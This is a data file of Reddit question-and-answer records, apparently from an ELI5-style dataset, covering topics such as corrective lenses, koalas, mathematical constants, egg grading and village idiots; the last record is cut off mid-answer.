{"q_id": "4q5njo", "title": "how do corrective lenses correct one field of vision (nearsighted or farsighted) without distorting the range we can already see?", "selftext": "I am nearsighted and everything goes VERY blurry about six inches from my face and beyond. My glasses / contacts are a single prescription (not bifocals or trifocals). Wearing them I can see everything clearly. How do they let me see far away while NOT distorting my current vision?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4q5njo/eli5how_do_corrective_lenses_correct_one_field_of/", "answers": {"a_id": ["d4qe2kk", "d4qxd00"], "score": [28, 2], "text": ["When you are nearsighted or farsighted the lens in your eye is either too powerful or too weak.  If you're nearsighted, the lens is too strong, it focuses an image too quickly so that its in front of the retina.   The corrective lens diverges the light coming in more, spreads it over a wider angle, than it would be, so the too powerful lens focuses the image where it should be.   \n\nWhy does this affect vision at one distance only? Because the lens of the eye is actually made to change shape and change focusing when little muscles pull on it.  Your eyes change how well they focus naturally if you're looking at something near or something far away.  If you're nearsighted, the range of focus you can get is all close up, and not enough far away.  So corrective lenses shift the whole range to farther distances, so that you can get a more \"normal\" range of distances covered.  For farsighted its the opposite.  \n\nThe eye is designed to be able to focus on a range of distances, corrective lenses shift that range as a whole. ", "In my case (myopia or near-sighted) they don't.  I can't wear my glasses and look at things close up without strain.  I basically wear them for driving and watching TV, stuff like that.\n\nOn the plus side, I see perfectly fine when SCUBA diving without glasses even at a distance and my eye doctor(s) told me not to get LASIK sincemy eyesight should 'degrade' to 20/20 as I age.\n\nEyes are a funny sensory organ.  They come in all minds of fucked up (earmuffs) configurations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9ua7xf", "title": "how the hell are koalas not extinct?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ua7xf/eli5_how_the_hell_are_koalas_not_extinct/", "answers": {"a_id": ["e92rylt", "e92rzks", "e92wo50", "e92x4ty", "e931ypa", "e93c37a"], "score": [18, 25, 3, 11, 2, 5], "text": ["Can you explain why you think they should be extinct?", "There aren\u2019t a lot of predators that eat koalas, for one. There are a lot of them in zoos all over the world, so there\u2019s a distributed genetic diversity that would allow them to be bred back stronger if the population did start to decline.  \n\nWhat makes you think they should be endangered?", "They are adapted for the habitat they live in, which is quite large except for the areas humans have deforested.\n\nNot every animal is as versatile as a pigeon or rat, and frankly a pigeon or rat would starve to death where the koala lives so...\n", "Koalas are poisonous, normally when anyone says that they mean venomous but they are in fact one of the few cases when the animal is actually poisonous. They only eat eucalyptus which has almost no nutritional value and is filled with a lot of nasty oils and stuff. This means that the koalas are full of the same nasty stuff, and to add to it, they pee and poo all over their fur meaning that they stink. \n\nSo although they are slow soft animals in a country with a large number of predators, nothing wants to eat them because there is plenty of non poisonous food around. ", "Australian here. They will be soon we are destroying their habitats fast. _URL_0_", " >  **ELI5: How the hell are Koalas not extinct?** \n\nTheir birth rate exceeds their death rate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.savethekoala.com/about-koalas/threats-koala"], []]}
{"q_id": "7jlvz3", "title": "what makes foods like ginger a palate cleanser?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7jlvz3/eli5_what_makes_foods_like_ginger_a_palate/", "answers": {"a_id": ["dr7tm5i", "dr88a29"], "score": [6, 3], "text": ["The vinegar. \n\nAcidic substances without much in the way of flavor, such as vinegar, help to reduce or remove food particles from the mouth and tongue. \n\nPickled ginger works well as a palate cleanser due to containing vinegar and because ginger does not leave behind very many food particles. ", "Fun fact: ginger acts as a bacterial fighting agent in your stomach, hence why it is served with raw fish."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bpfxkk", "title": "what is affiliate marketing and how does it work exactly?", "selftext": "I've asked this question several times to my peers and for some reason when they explain it, I still have trouble understanding all of it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bpfxkk/eli5_what_is_affiliate_marketing_and_how_does_it/", "answers": {"a_id": ["enspyik", "ensq1wp"], "score": [2, 5], "text": ["Companies have affiliate programmes. People, affiliates, can apply to the program and receive a link to refer to the companies' products. If someone buys a product through the link of the affiliate, the affiliate gets a small commission. \n\nReview sites or YouTube channels often use affiliate links as a big part of their income. Because after all: if you're looking for a review or Youtube video on the product, you're most likely interested in buying one too!", "Affiliate marketing is where you get paid a commission for any sales you refer to a site selling goods (provided they have an affiliate program you are signed up for).\n\nImagine you have a travel blog and write a post with your recommendations for best suitcase, camera, walking shoes, travel gear, backup phone battery, etc. Now, you could sign up with an eCommerce site as an affiliate and link to those products on their site and whenever somebody reads your article and clicks over to buy that item, you get a commission.\n\nOr maybe you have a site where you rate drones, and link to a site that sells drones with each review."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1zo68q", "title": "what anthroposophy exactly is, and how it ties in with homeopathy.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zo68q/eli5_what_anthroposophy_exactly_is_and_how_it/", "answers": {"a_id": ["cfve58f"], "score": [6], "text": [" >  \"Anthroposophy, a philosophy founded by Rudolf Steiner, postulates the existence of an objective, intellectually comprehensible spiritual world accessible to direct experience through inner development.\"\n - _URL_0_\n\nFrom a cursory look it appears to be tied in with homeopathy in the sense that they are both sources of horse shit more pure and reliable than the actual anus of a horse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Anthroposophy"]]}
{"q_id": "1rlfdu", "title": "Is there a reason why most of the important mathematical constants are close to zero on the number line?", "selftext": "The few mathematical constants that come to mind are all between 0 and 5 on the number line.\npi ~ 3.141\ne ~ 2.718\nThe golden ratio ~ 1.618\nthe Feigenbaum constants: alpha ~ 2.502, delta ~ 4.66\n\nIs there an underlying reason for this\n\nIf I were to guess why this is, I'd probably say it's because 0 and 1 are arguably the most basic, important, and abstract numbers in math.\n\nAlso, prime numbers come to mind.  The further we get from 0, the less prime numbers occur.  Maybe this is analogous with math constants with interesting properties. \n\nDoes anyone have a more reasonable answer to this question?\n\n**----------------------------------------------------**\n\n**Edit:**\n\n\nI just wanted to say that I can intuitively see why there are less prime numbers the higher we go on the number line. That wasn't actually a question of mine, I was just posing that as a possible hint to solving my question.\n\n**----------------------------------------------------**\n\n**Edit:**\n\nObligatory, Yay front page! \n\nand... Sorry, I know a lot of you are ragging on me for using the term \"close to\", which apparently has no mathematical meaning.. but I think the premise of my question is still valid. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1rlfdu/is_there_a_reason_why_most_of_the_important/", "answers": {"a_id": ["cdog7cz", "cdogodq", "cdojh84", "cdokvz9", "cdolc72", "cdolwdp", "cdom8rd", "cdon75p", "cdoo5xa", "cdooolp", "cdooypi", "cdopotb", "cdops2y", "cdoqbo7", "cdoqdyn", "cdoqo9n", "cdorjy3", "cdotvlr", "cdovit7", "cdovupd", "cdowej3", "cdoxczg"], "score": [35, 1139, 3, 2, 46, 9, 16, 9, 7, 158, 6, 17, 31, 2, 3, 2, 3, 5, 2, 7, 2, 2], "text": ["A lot of times you are working with ratios that are not the actual constant, but a multiple of the constant. For example the ratio between radius and circumference is 2*pi, not pi. So any other multiple would work the same, but I guess it's more useful to choose a small one.\n\nFor why there are bigger gaps for primes as numbers grow the [Sieve of Eratosthenes](_URL_0_) is a really nice way to generate prime numbers and visualize it. There's an animation of the method in that wikipedia link.", "The problem with addressing this question is that there is no natural and intrinsic way to decide whether a non-zero number is \"close to zero\" or \"far from zero.\"  The constants you listed are closer to zero than 10^10 but further from zero than 10^-10 .  Who is to say where we should place to cutoff between numbers that are \"close to\" or \"far from\" from zero?\n\nThey may strike you as being close to zero, but this is a question of psychology not mathematics.  Perhaps we deal with numbers that are further from zero than pi more often than numbers that are closer to zero than pi, so pi seems close to zero?\n\nI'll add that the precise values of those constants might not be as fundamental as you think.  The ratio of the surface area to the diameter of a sphere in n dimensions, for example, is only pi when n=2.  However, it can be written in terms of pi for other dimensions.  In fact, many people argue that tau=2*pi should be thought of as more fundamental than pi.  I personally believe that any rational multiple of pi is equally \"fundamental\", whatever that means.  We just settled on one of them out of convenience and for historical reasons.\n\nAs for your second question, the reason that small primes are denser than large primes is fairly well understood.  See [the prime number theorem](_URL_0_).\n\nEdit: Think about it this way. OP is intrigued that so many constants are smaller than 5 in magnitude. But any finite list of numbers has an upper bound.  The list given by OP happens to have 5 as an upper bound.  So what is so surprising about 5 versus some other upper bound? It's tempting to answer that a number smaller than 5 is unlikely to occur if you uniformly draw a random positive number. But there is actually no mathematical way to make sense of drawing a real number uniformly. The lack of scale is the real culprit. You cannot claim that a number is intrinsically \"large\" or \"small\" in any meaningful way without choosing something to compare that number to.\n\n\nEDIT 3: I am in no way trying to discredit OP's question.  I agree with OP that the fact that so many named constants are less than 5 is surprising in a psychological sense.  But I contend that there is no way to answer the question of whether it is surprising mathematically.\n\n", "To add to other people's answers:\n\nHow do you define 'close'? We are using the standard metric - the norm on R. But I'll ask you a few questions: Why is it fair to say that 0.01 is just as close from 5 as 9.99 is? Sure, they are the same 'distance' apart... but 0.01 and 5 are orders of magnitude apart while 5 and 9.99 are on the same order of magnitude... (This is why we use the geometric as well as the arithmetic mean). \n\nOn another note:\nSome of the constants on the wikipedia page are chosen arbitrarily. Why are we choosing a certain constant over a different constant? And you can find plenty of functions which will give you arbitrarily large constants. (Look up Ramsey theory for a few of them, if you want).", "I think it is because the differentiation among lower numbers (those \"closer to zero\") seems more significant.  Like the distance from one to two is double in quantity, but the difference between one billion vs. One billion and one is almost negligible.  So, finding constants around zero might not be surprising because numbers closer to zero offer greater \"number power\", and by that I mean quantitative significance.   From the standpoint of a philosopher who doesn't do much math, I can't see a better explanation; be warned I am not nearly an expert theoretician in the art of numbryng and, so, these words may be explosive. ", "First, I wanted to link [this math.stackexchange post](_URL_0_), which discusses the topic.\n\nThere's a constant that no one has mentioned: the order of the monster group, which is 808017424794512875886459904961710757005754368000000000 (seriously). I don't know much of the math behind it, but as far as I know the monster group is the largest of the sporadic finite simple groups, and this is the number of elements in it. Surely not close to zero!", "If we look at pi, well that's the ratio of the circumference of a circle to its diameter.... in Euclidean space.  It's certainly not the case in a highly negatively curved geometry.  In fact, in a very weird negatively curved geometry, the circumference-diameter ratio could be absurdly large.  Now why don't we live in a world where we see that to be the case?\n\nNow we're running into something that seems like the anthropic principle.  Namely, if the ratio were absurdly large, how would the ancients have discovered this relationship?  Remember even counting up to a large number requires a lot of mathematical sophistication.  One could argue that if the ratio were not around 3 (as with pi) then the relationship would either not have been discovered or it would not have been considered useful enough to merit noting.  \n\nOne could argue the same way with e.  So e arose as the limiting value  as one continuously compounds interest on $1 (at a 100% annual rate).  If compound interest behaved in such a weird way that the $1 would become a gazillion dollars under continuous compounding, then it's unlikely continuous compounding would have become a focus of interest to us.  ", "'the set of important mathematical constants' does not appear to be well-defined. all of the lists provided seem to amount to lists of numbers which particular humans find particularly interesting. is there even a single number on these lists whose membership is uncontroversial? why pi as opposed to tau? if both, why not all rational multiples of pi, eliminating the perceived bias? if you ask a random person to list numbers they find interesting i'd guess that the list would be similarly biased.", "One somewhat reasonable answer (or at least a relevant comment) is that a lot of these constants have have some interpretations as probabilities, and they are probabilities of events that are not all that unlikely. For example, 1/e is roughly the probability that a random permutation of the set {1, ..., n} will not fix an element. 6/pi^(2) is roughly the probability that two random numbers in the set {1, ..., n} are relatively prime. 1/phi is the probability that the sum of a random number in the set [0,1] and its square is less than 1. I suspect you can relate Feigenbaum's constants to some event relating to periods of a dynamical system as well.", "These numbers are close to 1 because they are *defined* as ratios of one (in most cases). A ratio is not a number but an equivalence class over pairs of numbers that satisfy the constraints in question (i.e. 1 to pi / 2 to tau are the ratio of the circumference of a circle to its radius/diameter).\n\nA number close to one is chosen because we are fond of multiplying and any ratio represented as some ratio of one (1) multiplied with any number will yield a number that satisfies the constraints of the equivalence class of the ratio in question in a way that is often easy to observe.\n\nTl;Dr: Numbes are arbitrary.", "I will try to give a different point of view on this question. It will be more geometrical and not exactly answering the question but that might still give some insight.\n\nI will talk about [Constructible numbers](_URL_0_). The principle is the following. You start with the two points at distance 1 on a plane, and you have a compass and a straightedge. At each step of the process you will get new points as follows :\n\nImagine you are at step n and you have already constructed N points. You draw all possible lines passing through two of your N points.  You also draw all the circles centered at one of your N points with a radius equal to the distance between two of your N points. You mark all the intersections created between lines, circles or both and add all these points to your list of N points. \n\nFor convenience I will see the points in the plane as complex numbers. A number is constructible if it can be obtained by this process. \n\nLet's give the first examples : \n\n* From the first two points 0 and 1, I can draw the line passing though these two points, the two circles of radius 1 centered on 0 and 1 respectively. This gives me 4 new points : -1, 2 , e^ipi/6 , e^-ipi/6\n\n* From this new set of six points, I can draw 10 different lines. And I have four possible radius for my circles (1,2,3,sqrt(3)) and 6 possible centers which gives me more or less 24 new circles. So I get more than 100 new points (see the [picture](_URL_1_) )\n\n* And so on ... the number of points explodes very quickly.\n\nOk what was the point of all this ? Well it is interesting to note that all the (non-zero) numbers we can construct in 2 steps all have norm between 0.2 and 5. And more importantly, most (like 95% may be, I didn't compute it) have norm between 0.5 and 4. (see the [picture](_URL_1_) )\n\nWhen I go on with the steps I see that there is always a lower bound and an upper bound (obvious), and that most of the numbers have norm between 0.5 and 4. (less obvious but it's because, when you draw all the circles around your existing points, most of them will stay in the same range ...).\n\nNow that we understand that, what next ? Well, suppose we could see the property of being \"interesting\" as a random occurence among numbers (this is my hypothesis, I am not exactly proving that this means anything). And to construct interesting numbers we have to do a certain number of steps. Equivalently, I construct all possible points in n steps and pick randomly some of them  (to say that they are interesting). With the arguments above, this would prove that :\n\n* a majority (I have no idea how to exactly compute it) of the interesting numbers constructible in n steps lie in a rather restricted range between 0.5 and 5. \n\n* a few will be larger or smaller than that ... \n\n* And no interesting number constructible in n steps will have norm smaller than 10^-n or be bigger than 10^n (because no  number constructible in n steps can be that big)\n\n >  Tl; DR : If I randomly pick numbers that could be defined in a certain number of steps, then most of the numbers I picked will be in the [0.5 , 5] range\n\nNow, back to mathematical constant. How are they defined ? Well, we have to do several steps. Much more complicated steps than for constructible numbers, but still a certain number of steps. (I could look at the numbers that can be defined in a certain number of words, to get an idea, even if this definition is problematic).\n\nSo I would guess (and this is wishful thinking) that the principle stay the same. Of all the numbers that can be defined in a certain number of steps, most of them should in the zone around 0.5 and 5. So the same should be true for interesting numbers ...\n\nThank you for your attention. I hope this was not too confusing.\n\nEDIT : I changed the phrasing of the sentence defining constructible numbers.", "There's a lot of good responses here and this will undoubtedly remain buried forever, but I feel like adding my two cents.\n\nIt makes sense that constants would be close to zero or one because those numbers are unique. Zero and one are non-random* numbers. They are the additive and multiplicative identities, respectively. Constants are non-random by definition, so it intuitively makes sense for them to be close to other non-random numbers (ie. 0 and 1).\n\nObviously, this idea does not hold up to mathematical or scientific scrutiny, but it doesn't need to. \"Close\" is not a mathematical term, so it makes sense for the answer to be non-mathematical. We're talking about how these numbers \"feel\" to us, after all.\n\n\\*Because this term is difficult to actually define, I'm cheating a little bit and defining a random number as any number that is a reasonable\\** multiple of a mathematical constant.\n\n** Yes, I realize I am defining non-randomness using the concept of non-randomness. This is why this is hard to define.\n\nedit: making \\* not make things italic", "I think I know the answer to your question. Or answers, because there are two.\n\nFirst, whether you realize it or not, all of your examples are ratios. Even pi, in a way. It's a question of scale and balance. Nature tends toward balance. Larger ratio's tend to be unstable. For example imagine a rectangle crystal which grew to a ratio of 22:7062. Which would be a constant 321. It would take a very odd molecule to form such a crystal. And should the molecule exist, nature would have to provide space an materials 321 times longer than wide. That's just not how nature tends to work. 1:1 is most common. Any shift from that becomes less and less likely. \n\nFor the second reason you should read about [Benford's law](_URL_0_). Which basically states that lower numbers are more common than higher numbers. And goes even farther to show that even in larger numbers, lower digits are many times more common. There are many theories as to why. My belief is simple. One comes before two. Two is twice as hard to reach as one so one is twice as common. Two is twice as common as four. Etc... \n\n", "This is probably going to get buried deeply but I need to give an example as why some constants tend to be small. Take the Gamma function \u0393(x) for example. It is defined recursively as \u0393(x+1) = x\u0393(x) so for example take\n\n\u0393(3/2) = (1/2)\u0393(1/2) = pi^(1/2)/2\n\nOr take \u0393(5/2) = (3/2)\u0393(3/2) = (3/2)(1/2)\u0393(1/2)\n\nIn a similar manner\n\n\u0393(m/n) = q\u0393(1/n)\n\nwhere q is a rational number obtained by the process above. In essence, when it comes to the Gamma function, you only need to know the values of the function for x between 0 and 1 to know all other real values. When it comes to the Gamma function, the smallness of the constants comes from the recursive nature of the Gamma function. \n\nI would argue that a lot of small constants come from an anthropometric perspective - the objects we usually consider are somewhat idealized, small, less complicated things. There is only so far you can go with a limited application of the basic operations. \n\nI would also argue that if you are given a larger constant, more often then not you'll be able to break it down into simpler/smaller constants.", "It seems like a lot of people are shooting around, but not actually hitting upon, the idea of [Bedford's Law](_URL_1_). \nBedford's Law: \n >  refers to the frequency distribution of digits in many (but not all) real-life sources of data. In this distribution, the number 1 occurs as the leading digit about 30% of the time, while larger numbers occur in that position less frequently.\n\nBasically, one would expect constants and a lot of other numbers to cluster around 1 and drop off logarithmically from there. In fact, studying logarithms is [how Bedford's Law was discovered.](_URL_0_)", "I may not really be qualified to answer this, but it seems like the people who are more so are being purposely obtuse about the word \"close\".  I think a simple answer might be that many of the important constants are the most basic possible part of a pattern, a common piece of a certain type of equation.  That is to say, they are as small as it is possible to make them, because it makes more sense to multiply them to reach larger values as needed than to divide a larger number for smaller ones.  Like the OP I'm sure that I'm not phrasing this in an ideal way.", "Disregarding the point of trying to define \"close to zero\" on an infinite scale and taking it for what you seemed to intend:\n\nBecause the vast majority of people aren't smart enough to come up with relations that would equate to something larger and those that are have no need to do so as of yet.  Something like a circle's circumferene divided by it's diameter, though useful, is completely arbitrary.  We could have used the radius and it would have been twice the size, we could have used 1/nth the radius and it would be that much larger.  We could do the same sort of thing for multidimensional geometric shapes and the number again would be larger - we simply don't have the need to do so.  You could take the planck length vs the diameter of the universe if you wanted a really big number.", "It can be proven, stemming from axiomatic definitions not related to numeric value, that e^pi*i = -1 .  This is called Euler's Identity.\n\nInstinct leads me to believe that in order for this equality to hold to within a given tolerance, the constants e and pi must have values within a certain neighborhood--either relative to zero, or they must at least be reasonably close to each other.  I have not verified this, but I would be willing to bet that this can be shown via numeric methods.\n\nSomebody better versed than I am in numeric methods, please jump in and try it, I'd love to see your findings.\n\nThe \"golden ratio\" phi also has an absolute numerical definition in terms of another irrational number: phi=1+sqrt(5)/2.  Using the extremely intuitive inequality 1 < sqrt(x) < x for x > 1, this definition gives us an obvious set of possible bounds for phi: 1 < phi < 3\n\nNow there ARE some dimensionless constants with \"real world\" applications that are enormous numbers.  For example, the Eddington Number is the number of protons in the universe--just a number, not expressed in terms of meters or miles or anything like that--and is approximately 137*2^256 .", "I think you're spot on with your hunch actually - 0 and 1 are the most important numbers.  \n \nSqrt(2)? Comes from the hypotenuse of a triangle with short sides both 1 unit in length.  \n  \nPi comes from the use of the unit circle as the way that pi is defined - its recipe already has parameters normalized to 1 and 0. (origin 0, radius 1).  \n  \nIn fact, you can view 2*pi as the number of different triangles you can create with a hypotenuse of 1 in two dimensions.  \n  \ne? Similarly defined. 1+(1/n!)^n  \n    \nOut of my depth on the Feigenbaum constants...  \n  \nAs for other (typically physical constants), we'vegone through a process over the centuries of using the normalized versions as much a possible - you set what you think the most fundamental constant is to 1, and scale the related ones. Why? It makes the math easier.  \n  \nSo while it doesn't hold for all constants, there is a relationship there - even if we've deliberately created one - and it's all because of normalization.\n", "A lot of them are ratios (golden ratio, pi).\nRatios tend to be \"smaller\" numbers because they describe the ratio between two things that are related to each other and thus wont be hugely different.\n\nFe the radius and circumference of a circle have pi as a ratio and not a number in the thousands because they cant differ that much. \n\nMay not be the most scientific answer, but I think its a very valid one. ", "iCookBaconShirtless' answer is spot-on in terms of us not being able to say that a number is either \"close to\" or \"far from\" zero.\n\nThat said, I think your question comes more from these being numbers in the range of 10^0, which are numbers similar in scale to those we deal with on a day-to-day basis. \n\nThe reason so many constants are like this is because they describe relationships between things we deal with - the diameter and circumference of the same circle, for instance. Most of these numbers are small as a result of the components we use to describe them being similar in scale because that's how we've defined them to be.\n\nIn fact, the ones not like this tend to be very large or small in magnitude compared to constants on the scale of 10^0. Consider the gravitational constant (10^-11), the speed of light (10^8), Boltzmann Constant (10^-23), and many, many others, all of which relate things of very small scale with things of very large scale. ", "Most people on this thread refer to an arbitrary definition of close as an explanation for OP's question, but I find this unsatisfying. From a mathematical perspective, while the real numbers are uncountable, and so 'closeness' *is* somewhat arbitrary, it doesn't address the fact that 1.618, for example, is a value that explains how much longer one line is than another. These numbers express a relative scaling between two things, and so rescaling these values to a different number system would only change our impression of them, not the absolute ratio. \n\nFor the constants that you mentioned, I suspect their small values result from our **tendency to compare things on the same order of magnitude**. It would be ridiculous, for example, for us to compare area of a circle to a millionth of its diameter. This would in fact change our 'fundamental' value for pi, but it would make no sense. So we choose to compare things that we can relate to each other visually or conceptually - a circle's area to the line that bisects it, for example.", "I'll give a perspective from physics:\n\nDimensionless constants are ratios.  To observe a ratio you have to measure, in some sense, the relative effect of two \"similar\" things; similar meaning having the same units.\n\nDue to our historic inability to measure things of hugely varying magnitudes we tend to measure stuff of around the same size ... stuff on the size scale we can directly observe.  When you then take a ratio of two such measurements, you're going to get a number around 1.\n\nIf you look at constants with dimension, there's a huge variation in size.  In our normal units, the speed of light is ~10^8, the charge of a proton is ~10^-19, the mass of an electron is ~10^-30, Planck's constant is ~10^-33"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes"], ["http://en.wikipedia.org/wiki/Prime_number_theorem"], [], [], ["http://math.stackexchange.com/questions/120780/why-are-all-the-interesting-constants-so-small"], [], [], [], [], ["http://en.wikipedia.org/wiki/Constructible_number", "http://imgur.com/bE3dlfG"], [], ["http://en.wikipedia.org/wiki/Benford%27s_law"], [], ["http://www.rexswain.com/benford.html", "http://en.wikipedia.org/wiki/Benford's_law"], [], [], [], [], [], [], [], []]}
{"q_id": "3x8ve2", "title": "what is histone deacetylase? and why do you want to take drugs to inhibit it?", "selftext": "I'm going through wikipedia and I have no idea what I read.  Can someone oversimplify into analogy. I understand that doing so will be missing some stuff, but I need a visual representation to frame this in my mind better. Why?  I heard that ketones inhibit it, curious to know why this is good or bad ..or just get a general understanding.  Why again? I don't know, I Just want to know! :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x8ve2/eli5_what_is_histone_deacetylase_and_why_do_you/", "answers": {"a_id": ["cy2l5qz"], "score": [7], "text": ["Our DNA is extremely big, and would be way too big for the nucleus in which it is kept if it wasn't coiled and compressed in several ways. Histones are a family of proteins that are crucial to this, and the DNA double helix is [wrapped around](_URL_1_) a histone protein.\n\nSometimes (oftentimes actually, to protect the DNA) it is wrapped extra tightly around the histone. When it is tightly wrapped, the cell can't access the DNA. Think of it as your headphones being too tangled to be used to listen to music. When the cell can't use the DNA, it can't make proteins and proteins are very important for the function of the cell.\n\nAcetyl, [a chemical](_URL_0_), is often attached by the cell to the histones to make the DNA wrap less tightly around the histone. As the name implies, a **de**acetylase will remove the acetyl, and once again make DNA wrap around extra tightly. Sometimes, this is desirable if we want certain cells to not have access to their DNA and thus stop them from making proteins.\n\nHistone deacetylases are not widely used in medicine, but they are used as anti-psychotic drugs, presumably because part of the problem lies in some cells being too active and therefore we want them to take a break from making proteins."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.dartmouth.edu/~chemlab/chem3-5/acid1/graphics/chemistry/chem1.gif", "http://vignette3.wikia.nocookie.net/mmg-233-2014-genetics-genomics/images/6/60/Figure-1-Histones-1024x1022.jpg/revision/latest?cb=20141020193149"]]}
{"q_id": "2yggtv", "title": "What do alkalis taste of?", "selftext": "I know what acids taste like, because they're in lots of foods. But what do alkalis taste of? I don't want to go and lick some caustic soda to find out...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2yggtv/what_do_alkalis_taste_of/", "answers": {"a_id": ["cp9m8ft"], "score": [4], "text": ["Bitter and gross.  From an evolutionary perspective, this is probably due to the fact that many naturally occurring poisons fall into a category called alkaloids, which are alkaline molecules.  Common examples are caffeine, piperine and piperidine (both extracted from black pepper), and nicotine.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "38vt8h", "title": "what is the difference between different grades of eggs? who uses the lower grades?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38vt8h/eli5_what_is_the_difference_between_different/", "answers": {"a_id": ["cry8s89", "crybczc", "cryd1ag"], "score": [5, 2, 10], "text": ["With eggs, grades aren't about quality, they are about size.\n\nSome people are ok with smaller eggs, and they are usually cheaper.", "I forget the \"grade\" this is, but there is a grade that actually means that your store's grocer repackaged eggs from cartons that were broken when they arrived at the store (or clumsy customers).  the store orders specially marked cartons that they then place the non-broken eggs in.  Because the eggs can be any size and have different ~~expiry~~ 'sell by' dates they are discounted heavily....or given away.  'Sell by' dates for eggs are long and eggs are good for at least ~3 months after the 'sell by' AND in a proper grocery store eggs sell so fast that unless they are expensive brown free range organic eggs, they never get any where near the 'sell by' date.  If you ever notice these odd grade eggs at a discount, buy them...they are just as fresh as the other eggs but may contain larger and smaller grades (but they are mostly regular large eggs).  Usually early morning shoppers get these deals.  I think the grade is \"d\".", "There are two ways eggs are graded, by size and by quality.  Size is more obvious, so I assume you're talking about the quality grading, which the USDA gives the categories AA, A, B, and inedible.\n\nThe quality of an egg is determined by a process called 'candling'.  They don't use a candle anymore, but they do still shine a light through the egg to examine the interior.  This also will show any cracks in the shell, which may be factored into the grading.  Other than cracks and spots of blood or meat, the qualities an egg is graded on depend mostly on age of the egg.\n\nAA grade eggs are nearly perfect, with a clear, firm white, a slightly defined yolk, and no spots.  The air pocket (usually at the large end of the egg) needs to be less than a certain size.  All these qualities point to an egg that is *very* fresh.\n\nA grade A egg is slightly worse than AA in all those categories.  The white is clear and clean, but less firm, the yolk is becoming defined, and the air pocket is becoming larger.  There are no spots.\n\nA grade B egg is even older.  The white is clean, but may be watery, the yolk may be firmly defined, and the air pocket can be quite large.  A grade B egg is allowed small spots of blood or meat.\n\nInedible eggs cannot be sold, and are determined by size of blood or meat spots.\n\nGenerally, only grades AA and A are sold to consumers.  Grade B is often sold to manufacturers making things like powdered egg products, or those egg beater egg substitutes.  Since they're processing the eggs anyway, the quality issues are less significant.\n\n\nEdit: As a side note, but something interesting, the size grading of eggs as medium, large, and extra large is not determined by the individual sizes of the eggs, but instead by the total weight of a dozen eggs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "13v4i4", "title": "Are heavier people less prone to being knocked unconscious than lighter people?", "selftext": "A common trope in movies is to have the hero/ine punch a large adversary in the face, only to realize how ineffective their awesome combat skills are. (Of course, this is always solved by a plucky sidekick hitting said large person on the back of the head with a stick or something.)\n\nI can see how having more fat in one's face might provide cushion to soften a blow, but it seems like a reasonably strong smaller person shouldn't have that much of a force disadvantage. This is especially so if we consider blows to the nose or temple, which don't appear (to this layman, anyhow) to have much more padding even if a person has relatively more body fat. \n\nAnother question: is there any difference between lighter/heavier people and blows to the head vs. brain injuries from deceleration? That is to say, does being a heavy person provide any additional \"internal\" padding to protect the brain?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13v4i4/are_heavier_people_less_prone_to_being_knocked/", "answers": {"a_id": ["c77g7fy", "c77iwhc"], "score": [6, 3], "text": ["I'm not aware of any specific literature on the topic but I would not expect there to be any meaningful difference. The CT scan of a fat persons head does not show any real difference from that of a thin persons (although according to [this study](_URL_0_) fat people have smaller brains by volume) and so there is no plausible mechanism that might lead to protection from brain injury. You could speculate that   a thicker layer of tissue around the skull might offer some protection against a direct blow, but the head is not a major area for fat deposition, and I doubt there would be much effect.", "well first lets get this stright, are you talking about someone heavier at the same body fat % or someone with the same lean body mass.\n\n since you said like in the movies i'm going to compare one guy at 180lbs vs another 220lbs both at 12% body fat. one advantage is neck size, having a stronger neck can help absorb the impact from a punch. [source](_URL_0_) pry not the best source but i'll keep looking. also if you look at it as acceleration in the head causes knockouts some simple math will show that a more massive head will accelerate slower when a certain force is applied."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2933649/"], ["http://www.rossboxing.com/thegym/thegym15.htm"]]}
{"q_id": "f2ybd3", "title": "What role did a \u2018village idiot\u2019 play in the society of the time?", "selftext": "We see \u2018Village Idiot\u2019 on census records and the like, so it was obviously a legitimate designation for a person at the time, but what did it entail?\n\nWere they like a jester/fool? Did they get any special treatment? Or were they simply a poor handicapped person to be made fun of?\n\nI tried google, but I couldn\u2019t find any information.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f2ybd3/what_role_did_a_village_idiot_play_in_the_society/", "answers": {"a_id": ["fhhgqcq"], "score": [637], "text": ["Edit: Gaudy to acknowledge gildings, I know, but I do appreciate it. All the same, I have more premium than anyone could possibly use, so please consider instead donating that amount to a charity that works with people who have intellectual disabilities or mental illness, they'll get a lot more out of it than I would. Thanks!\n\n-----------------------------\n\nThe \"town fool\" or the \"village idiot\" was basically *a thing*, to be sure, but it should be understood that much of the conception we have of their role is much more driven by their symbolic use as a literary or theatrical device than their real existence as real people. In entertainment, they are often used to be overtly humorous characters who upon deeper reflection provides something more; sometimes a mirror back on ourselves, a commentary on the folly of man, or sometimes the revelation that the apparent foolery resulted in the \"fool\" coming out on top. 